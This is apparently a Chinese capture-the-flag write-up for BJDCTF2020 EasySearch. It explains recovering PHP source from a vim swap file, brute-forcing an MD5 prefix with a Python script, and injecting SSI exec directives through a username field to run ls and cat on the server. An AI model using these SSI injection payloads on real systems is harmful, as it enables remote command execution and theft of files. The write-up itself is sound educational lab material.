[BJDCTF2020]EasySearch(ssi注入)
看题目就知道藏的有东西
挨个试试
发现在index.php.swp
vim缓存泄露,在使用vim进行编辑时,会产生缓存文件,操作正常,则会删除缓存文件,
如果意外退出,缓存文件保留下来,这是时可以通过缓存文件来得到原文件,以index.php来说,
第一次退出后,缓存文件名为 index.php.swp,
第二次退出后,缓存文件名为index.php.swo,
第三次退出后文件名为index.php.swn
得到源代码.
点击查看代码
<?php
// 开启输出缓冲
ob_start();
// 定义一个生成随机哈希值的函数
function get_hash(){
// 定义包含大写字母、小写字母、数字和特殊字符的字符串
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
// 随机从字符串中选择5个字符
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];
// 将唯一ID和随机字符串拼接
$content = uniqid().$random;
// 返回该内容的SHA-1哈希值
return sha1($content);
}
// 设置HTTP响应头的内容类型和字符编码
header("Content-Type: text/html;charset=utf-8");
// 检查POST请求中是否包含username字段,并且该字段不为空
if(isset($_POST['username']) and $_POST['username'] != '' )
{
// 定义一个管理员密码的MD5哈希值的前六个字符
$admin = '6d0bc1';
// 检查POST请求中的密码字段的MD5哈希值的前六个字符是否与预定义的字符串匹配
if ( $admin == substr(md5($_POST['password']),0,6)) {
// 弹出一个欢迎信息的JavaScript警告框
echo "<script>alert('[+] Welcome to manage system')</script>";
// 生成一个以哈希值命名的文件名,存放在public目录下
$file_shtml = "public/".get_hash().".shtml";
// 尝试打开文件,如果失败则输出错误信息
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
// 定义将要写入文件的HTML内容
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
// 将HTML内容写入文件
fwrite($shtml,$text);
// 关闭文件
fclose($shtml);
// 预留的代码位置,可能用于其他处理或输出
// echo "[!] Header error ...";
} else {
// 如果密码不匹配,弹出失败信息的JavaScript警告框
echo "<script>alert('[!] Failed')</script>";
}
} else {
// 预留的代码位置,用于处理未提供用户名的情况
// ***
}
// 预留的代码位置,可能用于其他处理或结束操作
// ***
?>
要找到md5后前六位值为6d0bc1的数
跑脚本即可
import hashlib
for i in range(1000000000):
md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if md5[0:6] == '6d0bc1':
print(str(i)+' | '+md5)
找到后进行登陆尝试
给了文件地址并且会把用户名写进去
既然能控制写进去什么内容我们肯定想办法让其命令执行
去查一下.shtml文件
二、Shtml与shtm
shtml命名的网页文件里,使用了ssi的一些指令,就像asp中的指令,你可以在SHTML文件中写入SSI指令,当客户端访问这些shtml文件时,服务器端会把这些SHTML文件进行读取和解释,把SHTML文件中包含的SSI指令解释出来。
而shtml与shtm后缀的网页文件没有区别,后缀名可以互换,区别在于和html与htm一样多与少“L”。
很明显我们可以利用ssi注入
注入格式:
<!--#exec cmd="命令" -->。
接下来就是找flag
<!--#exec+cmd="ls"+-->//没有
<!--#exec+cmd="ls /"+-->//也没有
<!--#exec+cmd="ls ../"+-->//有了
<!--#exec+cmd="cat../flag_990c66bf85a09c664f0b6741840499b2"+-->//得到flag
参考文章
htm、html、shtml网页区别